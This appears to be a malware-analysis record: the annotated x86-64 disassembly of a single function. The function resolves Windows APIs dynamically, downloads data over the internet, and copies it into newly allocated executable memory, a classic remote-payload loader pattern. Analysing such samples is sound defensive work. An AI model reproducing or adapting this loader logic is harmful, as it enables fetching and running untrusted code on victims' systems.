Function at 0x4170d8
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x218
mov qword [rsp + 0x178], 0xfffffffffffffffe
lea rcx, [rsp + 0x30]
call fcn.00412ee8
mov qword [rsp + 0x180], rax
mov rcx, qword [rsp + 0x180]
call fcn.0040127c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x004212e8], rax
lea rcx, [rsp + 0x30]
call fcn.004011f0
lea rcx, [rsp + 0x80]
call fcn.004126c8
mov qword [rsp + 0x188], rax
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x190], rax
lea rcx, [rsp + 0x58]
call fcn.00414ad8
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x1a0], rax
mov rcx, qword [rsp + 0x190]
call fcn.0040127c
mov qword [rsp + 0x1a8], rax
mov rcx, qword [rsp + 0x1a0]
call fcn.0040127c
mov rdx, rax
mov rcx, qword [0x004212e8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov rcx, qword [rsp + 0x1a8]
call rax
mov qword [0x004212f8], rax
lea rcx, [rsp + 0x58]
call fcn.004011f0
nop
lea rcx, [rsp + 0x80]
call fcn.004011f0
lea rcx, [rsp + 0xd0]
call fcn.004103b8
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x1b8], rax
lea rcx, [rsp + 0xa8]
call fcn.00413a18
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x1c8], rax
mov rcx, qword [rsp + 0x1b8]
call fcn.0040127c
mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1c8]
call fcn.0040127c
mov rdx, rax
mov rcx, qword [0x004212e8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x1d0]
mov rdx, rcx
mov rcx, qword [0x004212f8]
call rax
mov qword [0x004212f0], rax
lea rcx, [rsp + 0xa8]
call fcn.004011f0
nop
lea rcx, [rsp + 0xd0]
call fcn.004011f0
mov dword [0x004213e4], 4
lea rcx, [rsp + 0xf8]
call fcn.0040f508
mov qword [rsp + 0x1d8], rax
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1e0], rax
mov rcx, qword [rsp + 0x1e0]
call fcn.0040127c
mov rdx, rax
mov rcx, qword [0x004212e8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], 0
lea r9, [0x004213e4]
lea r8, [0x004213e0]
mov edx, 0x20000005
mov rcx, qword [0x004212f0]
call rax
nop
lea rcx, [rsp + 0xf8]
call fcn.004011f0
mov eax, dword [0x004213e0]
mov rcx, rax
call fcn.00402f30
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x120]
mov qword [0x004213d8], rax
lea rcx, [rsp + 0x128]
call fcn.0040e448
mov qword [rsp + 0x1e8], rax
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x1f0], rax
mov rcx, qword [rsp + 0x1f0]
call fcn.0040127c
mov rdx, rax
mov rcx, qword [0x004212e8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [0x004213e8]
mov r8d, dword [0x004213e0]
mov rdx, qword [0x004213d8]
mov rcx, qword [0x004212f0]
call rax
nop
lea rcx, [rsp + 0x128]
call fcn.004011f0
lea rcx, [rsp + 0x150]
call fcn.00415878
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x200], rax
mov eax, dword [0x004213e0]
mov qword [rsp + 0x208], rax
mov rcx, qword [rsp + 0x200]
call fcn.0040127c
mov rdx, rax
mov rcx, qword [0x00421210]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x40
mov r8d, 0x1000
mov rcx, qword [rsp + 0x208]
mov rdx, rcx
xor ecx, ecx
call rax
mov qword [0x00421300], rax
lea rcx, [rsp + 0x150]
call fcn.004011f0
mov eax, dword [0x004213e0]
mov r8, rax
mov rdx, qword [0x004213d8]
mov rcx, qword [0x00421300]
call fcn.00402930
add rsp, 0x218
ret